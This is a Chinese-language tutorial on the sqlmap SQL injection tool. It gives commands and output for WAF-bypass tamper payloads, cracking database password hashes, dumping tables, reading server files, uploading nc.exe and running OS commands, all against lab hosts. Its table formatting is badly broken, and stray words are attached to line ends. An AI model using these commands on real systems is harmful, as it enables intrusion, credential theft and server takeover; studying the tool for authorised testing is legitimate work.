sqlmap 注入的方法及技巧php
當給 sqlmap 這麼一個 url 的時候,它會:python
一、判斷可注入的參數mysql
二、判斷能夠用那種 SQL 注入技術來注入web
三、識別出哪一種數據庫sql
四、根據用戶選擇,讀取哪些數據shell
sqlmap 支持五種不一樣的注入模式:數據庫
一、基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入。windows
二、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查後端
看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。api
三、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返
回在頁面中。
四、聯合查詢注入,可使用 union 的狀況下的注入。
五、堆查詢注入,能夠同時執行多條語句的執行時的注入。
sqlmap 支持的數據庫有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和 SAP MaxDB
能夠提供一個簡單的 URL,Burp 或 WebScarab 請求日誌文件,文本文檔
中的完整 http 請求或者 Google 的搜索,匹配出結果頁面,也能夠本身定義一
個正則來判斷那個地址去測試。
測試 GET 參數,POST 參數,HTTP Cookie 參數,HTTP User-Agent 頭
和 HTTP Referer 頭來確認是否有 SQL 注入,它也能夠指定用逗號分隔的列表的具體參數來測試。
能夠設定 HTTP(S)請求的併發數,來提升盲注時的效率。
若是你想觀察 sqlmap 對一個點是進行了怎樣的嘗試判斷以及讀取數據
的,可使用-v 參數。
共有七個等級,默認爲 1:
0、只顯示 python 錯誤以及嚴重的信息。
一、同時顯示基本信息和警告信息。(默認)
二、同時顯示 debug 信息。
三、同時顯示注入的 payload。
四、同時顯示 HTTP 請求。
五、同時顯示 HTTP 響應頭。
六、同時顯示 HTTP 響應頁面。
若是你想看到 sqlmap 發送的測試 payload 最好的等級就是 3。
目標 URL
參數:-u 或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
從 Burp 或者 WebScarab 代理中獲取日誌參數:-l
能夠直接把 Burp proxy 或者 WebScarab proxy 中的日誌直接倒出來交
給 sqlmap 來一個一個檢測是否有注入。
從文本中獲取多個目標掃描
參數:-m
文件中保存 url 格式以下,sqlmap 會一個一個檢測
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
從文件中加載 HTTP 請求
參數:-r
sqlmap 能夠從一個文本文件中獲取 HTTP 請求,這樣就能夠跳過設置一
些其餘參數(好比 cookie,POST 數據,等等)。
好比文本文件內以下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
當請求是 HTTPS 的時候你須要配合這個--force-ssl 參數來使用,或者你
能夠在 Host 頭後門加上:443
處理 Google 的搜索結果
參數:-g
sqlmap 能夠測試注入 Google 的搜索結果中的 GET 參數(只獲取前 100
個結果)。
例子:
python sqlmap.py -g "inurl:\".php?id=1\""
此外可使用-c 參數加載 sqlmap.conf 文件裏面的相關配置。
http 數據
參數:--data
此參數是把數據以 POST 方式提交,sqlmap 會像檢測 GET 參數同樣檢測
POST 的參數。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" -- data="id=1" -f --banner --dbs --users
參數拆分字符
參數:--param-del
當 GET 或 POST 的數據須要用其餘字符分割測試參數的時候須要用到此參
數。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" -- data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
HTTP cookie 頭
參數:--cookie,--load-cookies,--drop-set-cookie
這個參數在如下兩個方面頗有用:
一、web 應用須要登錄的時候。
二、你想要在這些頭參數中測試 SQL 注入時。
能夠經過抓包把 cookie 獲取到,複製出來,而後加到--cookie 參數裏。
在 HTTP 請求中,遇到 Set-Cookie 的話,sqlmap 會自動獲取而且在之後的請求中加入,而且會嘗試 SQL 注入。
若是你不想接受 Set-Cookie 可使用--drop-set-cookie 參數來拒接。
當你使用--cookie 參數時,當返回一個 Set-Cookie 頭的時候,sqlmap會詢問你用哪一個 cookie 來繼續接下來的請求。當--level 的參數設定爲 2 或者 2 以上的時候,sqlmap 會嘗試注入 Cookie 參數。
HTTP User-Agent 頭
參數:--user-agent,--random-agent
默認狀況下 sqlmap 的 HTTP 請求頭中 User-Agent 值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可使用--user-anget 參數來修改,同時也可使用--random-agnet 參
數來隨機的從./txt/user-agents.txt 中獲取。
當--level 參數設定爲 3 或者 3 以上的時候,會嘗試對 User-Angent 進行
注入。
HTTP Referer 頭
參數:--referer
sqlmap 能夠在請求中僞造 HTTP 中的 referer,當--level 參數設定爲 3 或者 3 以上的時候會嘗試對 referer 注入。
額外的 HTTP 頭
參數:--headers
能夠經過--headers 參數來增長額外的 http 頭
HTTP 認證保護
參數:--auth-type,--auth-cred
這些參數能夠用來登錄 HTTP 的認證保護支持三種方式:
一、Basic
二、Digest
三、NTLM
例子:
python sqlmap.py -u
"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --
auth-type Basic --auth-cred "testuser:testpass"
HTTP 協議的證書認證
參數:--auth-cert
當 Web 服務器須要客戶端證書進行身份驗證時,須要提供兩個文件:key_file,cert_file。
key_file 是格式爲 PEM 文件,包含着你的私鑰,cert_file 是格式爲 PEM
的鏈接文件。
HTTP(S)代理
參數:--proxy,--proxy-cred 和--ignore-proxy
使用--proxy 代理是格式爲:http://url:port。
當 HTTP(S)代理須要認證是可使用--proxy-cred 參數:
username:password。
--ignore-proxy 拒絕使用本地局域網的 HTTP(S)代理。
HTTP 請求延遲
參數:--delay
能夠設定兩個 HTTP(S)請求間的延遲,設定爲 0.5 的時候是半秒,默認是
沒有延遲的。
設定超時時間
參數:--timeout
能夠設定一個 HTTP(S)請求超過多久斷定爲超時,10.5 表示 10.5 秒,默
認是 30 秒。
設定重試超時
參數:--retries
當 HTTP(S)超時時,能夠設定從新嘗試鏈接次數,默認是 3 次。
設定隨機改變的參數值
參數:--randomize
能夠設定某一個參數值在每一次請求中隨機的變化,長度和類型會與提供
的初始值同樣。
利用正則過濾目標網址
參數:--scope
例如:
python sqlmap.py -l burp.log --
scope="(www)?\.target\.(com|net|org)"
避免過多的錯誤請求被屏蔽
參數:--safe-url,--safe-freq
有的 web 應用程序會在你屢次訪問錯誤的請求時屏蔽掉你之後的全部請
求,這樣在 sqlmap 進行探測或者注入的時候可能形成錯誤請求而觸發這個策
略,致使之後沒法進行。
繞過這個策略有兩種方式:
一、--safe-url:提供一個安全不錯誤的鏈接,每隔一段時間都會去訪問一下。
二、--safe-freq:提供一個安全不錯誤的鏈接,每次測試請求以後都會再訪問一邊安全鏈接。
關掉 URL 參數值編碼
參數:--skip-urlencode
根據參數位置,他的值默認將會被 URL 編碼,可是有些時候後端的 web
服務器不遵照 RFC 標準,只接受不通過 URL 編碼的值,這時候就須要用--
skip-urlencode 參數。
每次請求時候執行自定義的 python 代碼
參數:--eval
在有些時候,須要根據某個參數的變化,而修改另個一參數,才能造成正
常的請求,這時能夠用--eval 參數在每次請求時根據所寫 python 代碼作完修
改後請求。
例子:
python sqlmap.py -u
"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc5
09a6f75849b" --eval="import
hashlib;hash=hashlib.md5(id).hexdigest()"
上面的請求就是每次請求時根據 id 參數值,作一次 md5 後做爲 hash 參
數的值。
測試參數
參數:-p,--skip
sqlmap 默認測試全部的 GET 和 POST 參數,當--level 的值大於等於 2 的時候也會測試 HTTP Cookie 頭的值,當大於等於 3 的時候也會測試 User-Agent 和 HTTP Referer 頭的值。可是你能夠手動用-p 參數設置想要測試的參數。例如: -p "id,user-anget"
當你使用--level 的值很大可是有個別參數不想測試的時候可使用--skip參數。
例如:--skip="user-angent.referer"
在有些時候 web 服務器使用了 URL 重寫,致使沒法直接使用 sqlmap 測試參數,能夠在想測試的參數後面加*
例如:
python sqlmap.py -u
"http://targeturl/param1/value1*/param2/value2/"
sqlmap 將會測試 value1 的位置是否可注入。
指定數據庫
參數:--dbms
默認狀況系 sqlmap 會自動的探測 web 應用後端的數據庫是什麼,
sqlmap 支持的數據庫有:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
指定數據庫服務器系統
參數:--os
默認狀況下 sqlmap 會自動的探測數據庫服務器系統,支持的系統有:
Linux、Windows。
指定無效的大數字
參數:--invalid-bignum
當你想指定一個報錯的數值時,可使用這個參數,例如默認狀況系
id=13,sqlmap 會變成 id=-13 來報錯,你能夠指定好比 id=9999999 來報
錯。
只定無效的邏輯
參數:--invalid-logical
緣由同上,能夠指定 id=13 把原來的 id=-13 的報錯改爲 id=13 AND
18=19。
注入 payload
參數:--prefix,--suffix
在有些環境中,須要在注入的 payload 的前面或者後面加一些字符,來保
證 payload 的正常執行。
例如,代碼中是這樣調用數據庫的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
這時你就須要--prefix 和--suffix 參數了:
python sqlmap.py -u
"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" - p id --prefix "’)" --suffix "AND (’abc’=’abc"
這樣執行的 SQL 語句變成:
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
修改注入的數據
參數:--tamper
sqlmap 除了使用 CHAR()函數來防止出現單引號以外沒有對注入的數據修
改,你可使用--tamper 參數對數據作修改來繞過 WAF 等設備。
下面是一個 tamper 腳本的格式:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
能夠查看 tamper/ 目錄下的有哪些可用的腳本
例如:
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --
tamper tamper/between.py,tamper/randomcase.py,tamper/space2co mment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] |
loading tamper script 'between' |
|
[hh:mm:03] [INFO] loading tamper script 'randomcase' |
||
[hh:mm:03] [INFO] |
loading tamper script 'space2comment' |
|
[...] |
|
|
[hh:mm:04] [INFO] |
testing 'AND boolean-based blind - WHERE or |
|
HAVING clause' |
|
|
|
|
|
[hh:mm:04] |
[PAYLOAD] |
|
1)/**/And/**/1369=7706/**/And/**/(4092=4092 |
||
[hh:mm:04] |
|
|
[PAYLOAD] |
1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 |
|
[hh:mm:04] |
[PAYLOAD] 1/**/AnD/**/950=7041 |
|
|
|
|
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE
or HAVING clause'
[hh:mm:04] [PAYLOAD]
1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHa
r(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/
**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/informa
tion_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-
based - WHERE or HAVING
clause' injectable
[...]
探測等級
參數:--level
共有五個等級,默認爲 1,sqlmap 使用的 payload 能夠在
xml/payloads.xml 中看到,你也能夠根據相應的格式添加本身的 payload。
這個參數不只影響使用哪些 payload 同時也會影響測試的注入點,GET 和
POST 的數據都會測試,HTTP Cookie 在 level 爲 2 的時候就會測試,HTTP
User-Agent/Referer 頭在 level 爲 3 的時候就會測試。
總之在你不肯定哪一個 payload 或者參數爲注入點的時候,爲了保證全面
性,建議使用高的 level 值。
風險等級
參數:--risk
共有四個風險等級,默認是 1 會測試大部分的測試語句,2 會增長基於事
件的測試語句,3 會增長 OR 語句的 SQL 注入測試。
在有些時候,例如在 UPDATE 的語句中,注入一個 OR 的測試語句,可能
致使更新的整個表,可能形成很大的風險。
測試的語句一樣能夠在 xml/payloads.xml 中找到,你也能夠自行添加
payload。
頁面比較
參數:--string,--not-string,--regexp,--code
默認狀況下 sqlmap 經過判斷返回頁面的不一樣來判斷真假,但有時候這會
產生偏差,由於有的頁面在每次刷新的時候都會返回不一樣的代碼,好比頁面當
中 包含一個動態的廣告或者其餘內容,這會致使 sqlmap 的誤判。此時用戶可
以提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的
字符 串,而錯誤頁面中不存在(使用--string 參數添加字符串,--regexp 添加
正則),同時用戶能夠提供一段字符串在原始頁面與真條件下的頁面都不 存在
的字符串,而錯誤頁面中存在的字符串(--not-string 添加)。用戶也能夠提供真與假條件返回的 HTTP 狀態碼不同來注入,例如,響應 200 的時候爲真,響應 401 的時候爲假,能夠添加參數--code=200。
參數:--text-only,--titles
有些時候用戶知道真條件下的返回頁面與假條件下返回頁面是不一樣位置在
哪裏可使用--text-only(HTTP 響應體中不一樣)--titles(HTML 的 title 標籤
中不一樣)。
測試是不是注入
參數:--technique
這個參數能夠指定 sqlmap 使用的探測技術,默認狀況下會測試全部的方
式。
支持的探測方式以下:
B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基於時間延遲注入)
設定延遲注入的時間
參數:--time-sec
當使用繼續時間的盲注時,時刻使用--time-sec 參數設定延時時間,默認是 5 秒。
設定 UNION 查詢字段數
參數:--union-cols
默認狀況下 sqlmap 測試 UNION 查詢注入會測試 1-10 個字段數,當-- level 爲 5 的時候他會增長測試到 50 個字段數。設定--union-cols 的值應該是一段整數,如:12-16,是測試 12-16 個字段數。
設定 UNION 查詢使用的字符
參數:--union-char
默認狀況下 sqlmap 針對 UNION 查詢的注入會使用 NULL 字符,可是有些狀況下會形成頁面返回失敗,而一個隨機整數是成功的,這是你能夠用-- union-char 只定 UNION 查詢的字符。
二階 SQL 注入
參數:--second-order
有些時候注入點輸入的數據看返回結果的時候並非當前的頁面,而是另
外的一個頁面,這時候就須要你指定到哪一個頁面獲取響應判斷真假。--
second-order 後門跟一個判斷頁面的 URL 地址。
標誌
參數:-b,--banner
大多數的數據庫系統都有一個函數能夠返回數據庫的版本號,一般這個函
數是 version()或者變量@@version 這主要取決與是什麼數據庫。
用戶
參數:-current-user
在大多數據庫中能夠獲取到管理數據的用戶。
當前數據庫
參數:--current-db
返還當前鏈接的數據庫。
當前用戶是否爲管理用
參數:--is-dba
判斷當前的用戶是否爲管理,是的話會返回 True。
列數據庫管理用戶
參數:--users
當前用戶有權限讀取包含全部用戶的表的權限時,就能夠列出全部管理用
戶。
列出並破解數據庫用戶的 hash
參數:--passwords
當前用戶有權限讀取包含用戶密碼的彪的權限時,sqlmap 會現列舉出用
戶,而後列出 hash,並嘗試破解。
例子:
$ python sqlmap.py |
-u |
"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -- |
|
passwords -v 1 |
|
[...] |
|
back-end DBMS: PostgreSQL |
|
[hh:mm:38] [INFO] |
fetching database users password hashes |
do you want to use |
dictionary attack on retrieved password hashes? |
[Y/n/q] y |
|
[hh:mm:42] [INFO] |
using hash method: 'postgres_passwd' |
|
|
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] |
loading dictionary from: |
'/software/sqlmap/txt/wordlist.txt' |
|
do you want to use |
common password suffixes? (slow!) [y/N] n |
[hh:mm:48] [INFO] |
starting dictionary attack (postgres_passwd) |
[hh:mm:49] [INFO] |
found: 'testpass' for user: 'testuser' |
|
|
[hh:mm:50] [INFO] |
found: 'testpass' for user: 'postgres' |
|
|
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
能夠看到 sqlmap 不只勒出數據庫的用戶跟密碼,同時也識別出是
PostgreSQL 數據庫,並詢問用戶是否採用字典爆破的方式進行破解,這個爆
破已經支持 Oracle 和 Microsoft SQL Server。
也能夠提供-U 參數來指定爆破哪一個用戶的 hash。
列出數據庫管理員權限
參數:--privileges
當前用戶有權限讀取包含全部用戶的表的權限時,極可能列舉出每一個用戶
的權限,sqlmap 將會告訴你哪一個是數據庫的超級管理員。也能夠用-U 參數指
定你想看哪一個用戶的權限。
列出數據庫管理員角色
參數:--roles
當前用戶有權限讀取包含全部用戶的表的權限時,極可能列舉出每一個用戶
的角色,也能夠用-U 參數指定你想看哪一個用戶的角色。
僅適用於當前數據庫是 Oracle 的時候。
列出數據庫系統的數據庫
參數:--dbs
當前用戶有權限讀取包含全部數據庫列表信息的表中的時候,便可列出所
有的數據庫。
列舉數據庫表
參數:--tables,--exclude-sysdbs,-D
當前用戶有權限讀取包含全部數據庫表信息的表中的時候,便可列出一個
特定數據的全部表。
若是你不提供-D 參數來列指定的一個數據的時候,sqlmap 會列出數據庫
全部庫的全部表。
--exclude-sysdbs 參數是指包含了全部的系統數據庫。
須要注意的是在 Oracle 中你須要提供的是 TABLESPACE_NAME 而不是
數據庫名稱。
列舉數據庫表中的字段
參數:--columns,-C,-T,-D
當前用戶有權限讀取包含全部數據庫表信息的表中的時候,便可列出指定
數據庫表中的字段,同時也會列出字段的數據類型。
若是沒有使用-D 參數指定數據庫時,默認會使用當前數據庫。
列舉一個 SQLite 的例子:
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[... |
] |
|
|
Database: |
SQLite_masterdb |
||
Table: users |
|
||
[3 columns] |
|
||
+--------- |
+--------- |
|
+ |
| |
Column |
| Type |
| |
+--------- |
+--------- |
|
+ |
|
|
|
|
| |
id | INTEGER | |
|
|
| |
name | TEXT | |
|
|
| surname |
| TEXT |
| |
|
+--------- |
+--------- |
|
+ |
|
|
|
|
列舉數據庫系統的架構
參數:--schema,--exclude-sysdbs
用戶能夠用此參數獲取數據庫的架構,包含全部的數據庫,表和字段,以
及各自的類型。
加上--exclude-sysdbs 參數,將不會獲取數據庫自帶的系統庫內容。
MySQL 例子:
$ python sqlmap.py -u
"http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --
batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+------------- |
|
|
+--------- |
|
+ |
|
| |
cid |
| int(11) |
| |
|
||
| mysignature |
| text |
| |
||||
| |
password |
| text |
|
| |
||
| |
username |
| text |
| |
|||
+------------- |
|
|
+--------- |
|
+ |
|
Database: owasp10 |
|
|
||||
Table: blogs_table |
|
|
||||
[4 columns] |
|
|
|
|||
|
|
|
|
|
|
|
+-------------- |
|
|
+---------- |
+ |
||
| |
Column |
|
| Type |
| |
||
+-------------- |
|
|
|
+---------- |
|
+ |
| |
date |
|
| datetime | |
|||
| blogger_name |
| text | |
|||||
| cid |
| |
int(11) | |
|
|
||
| |
comment |
| text |
| |
|||
+-------------- |
|
|
|
+---------- |
|
+ |
Database: owasp10 |
|
|
||||
Table: hitlog |
|
|
|
|||
[6 columns] |
|
|
|
|||
+---------- |
|
|
+---------- |
|
+ |
|
| |
Column |
| Type |
| |
|
||
+---------- |
|
|
+---------- |
|
+ |
|
| |
date |
| datetime | |
|
|||
| |
browser |
| text |
| |
|
||
| |
cid |
| int(11) | |
|
|
||
| hostname |
| text |
| |
|
|||
| |
ip |
| text |
| |
|
|
|
|
|
|
|
|
||
| |
referer |
| text |
| |
|
||
+---------- |
|
|
+---------- |
|
+ |
|
|
|
|
|
|
|
|
Database: testdb
Table: users
[3 columns]
+--------- |
|
+--------------- |
+ |
| |
Column |
| Type | |
|
+--------- |
|
+--------------- |
+ |
| |
id |
| int(11) | |
|
| name |
| |
varchar(500) | |
|
| surname |
| varchar(1000) | |
||
+--------- |
|
+--------------- |
+ |
[... |
] |
|
|
|
|
|
|
獲取表中數據個數
參數:--count
有時候用戶只想獲取表中的數據個數而不是具體的內容,那麼就可使用
這個參數。
列舉一個 Microsoft SQL Server 例子:
$ python sqlmap.py -u
"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -
D testdb [...]
Database: testdb
+---------------- |
|
+--------- |
+ |
| |
Table |
| Entries | |
|
+---------------- |
|
+--------- |
+ |
| |
dbo.users |
| 4 |
| |
| |
dbo.users_blob |
| 2 | |
|
|
|
|
|
+---------------- |
+--------- |
+ |
|
|
|
|
|
獲取整個表的數據
參數:--dump,-C,-T,-D,--start,--stop,--first,--last
若是當前管理員有權限讀取數據庫其中的一個表的話,那麼就能獲取真個
表的全部內容。
使用-D,-T 參數指定想要獲取哪一個庫的哪一個表,不適用-D 參數時,默認使
用當前庫。
列舉一個 Firebird 的例子:
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -
T users [...]
Database: Firebird_masterdb
Table: USERS [4 entries]
+---- |
|
+-------- |
+------------ |
+ |
| ID | |
NAME |
| SURNAME | |
||
+---- |
|
+-------- |
+------------ |
+ |
| 1 |
| |
luther | blisset |
| |
|
| 2 |
| |
fluffy | bunny |
| |
|
| 3 |
| |
wu | ming | |
|
|
| 4 |
| |
NULL | nameisnull | |
||
+---- |
|
+-------- |
+------------ |
+ |
|
|
|
|
|
能夠獲取指定庫中的全部表的內容,只用-dump 跟-D 參數(不使用-T 與
-C 參數)。
也能夠用-dump 跟-C 獲取指定的字段內容。
sqlmap 爲每一個表生成了一個 CSV 文件。
若是你只想獲取一段數據,可使用--start 和--stop 參數,例如,你只想獲取第一段數據可 hi 使用--stop 1,若是想獲取第二段與第三段數據,使用參
數 --start 1 --stop 3。
也能夠用--first 與--last 參數,獲取第幾個字符到第幾個字符的內容,若是你想獲取字段中地三個字符到第五個字符的內容,使用--first 3 --last 5,只
在盲注的時候使用,由於其餘方式能夠準確的獲取注入內容,不須要一個字符
一個字符的猜解。
獲取全部數據庫表的內容
參數:--dump-all,--exclude-sysdbs
使用--dump-all 參數獲取全部數據庫表的內容,可同時加上--exclude-
sysdbs 只獲取用戶數據庫的表,須要注意在 Microsoft SQL Server 中 master
數據庫沒有考慮成爲一個系統數據庫,由於有的管理員會把他當初用戶數據庫
同樣來使用它。
搜索字段,表,數據庫
參數:--search,-C,-T,-D
--search 能夠用來尋找特定的數據庫名,全部數據庫中的特定表名,全部數據庫表中的特定字段。
能夠在一下三種狀況下使用:
-C 後跟着用逗號分割的列名,將會在全部數據庫表中搜索指定的列名。
-T 後跟着用逗號分割的表名,將會在全部數據庫中搜索指定的表名
-D 後跟着用逗號分割的庫名,將會在全部數據庫中搜索指定的庫名。
運行自定義的 SQL 語句
參數:--sql-query,--sql-shell
sqlmap 會自動檢測肯定使用哪一種 SQL 注入技術,如何插入檢索語句。
若是是 SELECT 查詢語句,sqlap 將會輸出結果。若是是經過 SQL 注入執
行其餘語句,須要測試是否支持多語句執行 SQL 語句。
列舉一個 Mircrosoft SQL Server 2000 的例子:
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-
query "SELECT 'foo'" -v 1
[...] |
|
|
[hh:mm:14] [INFO] |
fetching SQL SELECT query output: 'SELECT 'foo'' |
|
[hh:mm:14] [INFO] |
retrieved: foo |
|
SELECT 'foo': |
'foo' |
|
$ python sqlmap.py |
-u |
|
"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql- |
||
query "SELECT 'foo', 'bar'" -v 2 |
||
[...] |
|
|
[hh:mm:50] [INFO] |
fetching SQL SELECT query output: 'SELECT 'foo', |
|
'bar'' |
|
|
|
|
|
[hh:mm:50] [INFO] |
the SQL query provided has more than a field. |
|
sqlmap will now unpack it into |
||
distinct queries |
to be able to retrieve the output even if we are going |
|
blind |
|
|
|
|
|
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), |
|
|
(CHAR(32))) |
|
|
[hh:mm:50] [INFO] |
retrieved: foo |
|
[hh:mm:50] [DEBUG] |
performed 27 queries in 0 seconds |
|
[hh:mm:50] [DEBUG] |
query: SELECT |
|
ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), |
||
(CHAR(32))) |
|
|
[hh:mm:50] [INFO] |
retrieved: bar |
|
[hh:mm:50] [DEBUG] |
performed 27 queries in 0 seconds |
|
SELECT 'foo', 'bar': |
|
'foo, bar' |
|
|
|
暴力破解表名
參數:--common-tables
當使用--tables 沒法獲取到數據庫的表時,可使用此參數。
一般是以下狀況:
一、MySQL 數據庫版本小於 5.0,沒有 information_schema 表。
二、數據庫是 Microssoft Access,系統表 MSysObjects 是不可讀的(默
認)。
三、當前用戶沒有權限讀取系統中保存數據結構的表的權限。
暴力破解的表在 txt/common-tables.txt 文件中,你能夠本身添加。
列舉一個 MySQL 4.1 的例子:
$ python sqlmap.py -u
"http://192.168.136.129/mysql/get_int_4.php?id=1" --common-
tables -D testdb --banner
[...]
[hh:mm:39] [INFO] |
testing MySQL |
[hh:mm:39] [INFO] |
confirming MySQL |
[hh:mm:40] [INFO] |
the back-end DBMS is MySQL |
[hh:mm:40] [INFO] |
fetching banner |
|
|
web server operating system: Windows
web application |
technology: PHP 5.3.1, Apache 2.2.14 |
back-end DBMS |
operating system: Windows |
|
|
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
|
[hh:mm:40] [INFO] |
checking table existence using items |
|
|
from '/software/sqlmap/txt/common-tables.txt' |
|
|
|
[hh:mm:40] [INFO] |
adding words used on web page to the check list |
|
|
please enter number of threads? [Enter for 1 (current)] 8 |
|
|
|
[hh:mm:43] [INFO] |
retrieved: users |
|
|
Database: testdb |
|
|
|
[1 table] |
|
|
|
+-------+ |
|
|
|
| users | |
|
|
|
+-------+ |
|
|
|
暴力破解列名 |
|
|
參數:--common-columns
與暴力破解表名同樣,暴力跑的列名在 txt/common-columns.txt 中。
用戶自定義函數注入
參數:--udf-inject,--shared-lib
你能夠經過編譯 MySQL 注入你自定義的函數(UDFs)或 PostgreSQL 在
windows 中共享庫,DLL,或者 Linux/Unix 中共 享對象,sqlmap 將會問你
一些問題,上傳到服務器數據庫自定義函數,而後根據你的選擇執行他們,當
你注入完成後,sqlmap 將會移除它們。
從數據庫服務器中讀取文件
參數:--file-read
當數據庫爲 MySQL,PostgreSQL 或 Microsoft SQL Server,而且當前
用戶有權限使用特定的函數。讀取的文件能夠是文本也能夠是二進制文件。
列舉一個 Microsoft SQL Server 2005 的例子:
$ python sqlmap.py -
u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther " \
--file-read "C:/example.exe" -v 1 [...]
[hh:mm:49] [INFO] |
the back-end DBMS is Microsoft SQL Server |
|||
web server |
operating system: Windows 2000 |
|||
web application |
technology: ASP.NET, Microsoft IIS 6.0, ASP |
|||
back-end DBMS: Microsoft SQL Server 2005 |
||||
[hh:mm:50] [INFO] |
fetching file: 'C:/example.exe' |
|||
[hh:mm:50] [INFO] |
the SQL query provided returns 3 entries |
|||
|
|
|
||
C:/example.exe |
file |
|
||
saved |
to: |
'/software/sqlmap/output/192.168.136.129/files/C__exampl |
||
e.exe' |
|
|
|
|
[...] |
|
|
|
|
$ ls -l |
output/192.168.136.129/files/C__example.exe |
|||
-rw-r-- |
r-- 1 |
inquis inquis 2560 2011-MM-DD |
||
|
|
|
|
|
hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS
Windows (GUI) Intel
80386 32-bit
把文件上傳到數據庫服務器中
參數:--file-write,--file-dest
當數據庫爲 MySQL,PostgreSQL 或 Microsoft SQL Server,而且當前
用戶有權限使用特定的函數。上傳的文件能夠是文本也能夠是二進制文件。
列舉一個 MySQL 的例子:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm
/software/nc.exe.packed
$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-
write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -
v 1 [...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET
2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe'
has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] |
retrieved: 31744 |
[hh:mm:52] [INFO] |
the file has been successfully written and its size |
is 31744 bytes, |
|
|
|
same size as the local file '/software/nc.exe.packed'
運行任意操做系統命令
參數:--os-cmd,--os-shell
當數據庫爲 MySQL,PostgreSQL 或 Microsoft SQL Server,而且當前
用戶有權限使用特定的函數。
在 MySQL、PostgreSQL,sqlmap 上傳一個二進制庫,包含用戶自定義的函數,sys_exec()和 sys_eval()。
那麼他建立的這兩個函數能夠執行系統命令。在 Microsoft SQL Server,
sqlmap 將會使用 xp_cmdshell 存儲過程,若是被禁(在 Microsoft SQL
Server 2005 及以上版本默認禁制),sqlmap 會從新啓用它,若是不存在,
會自動建立。
列舉一個 PostgreSQL 的例子:
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
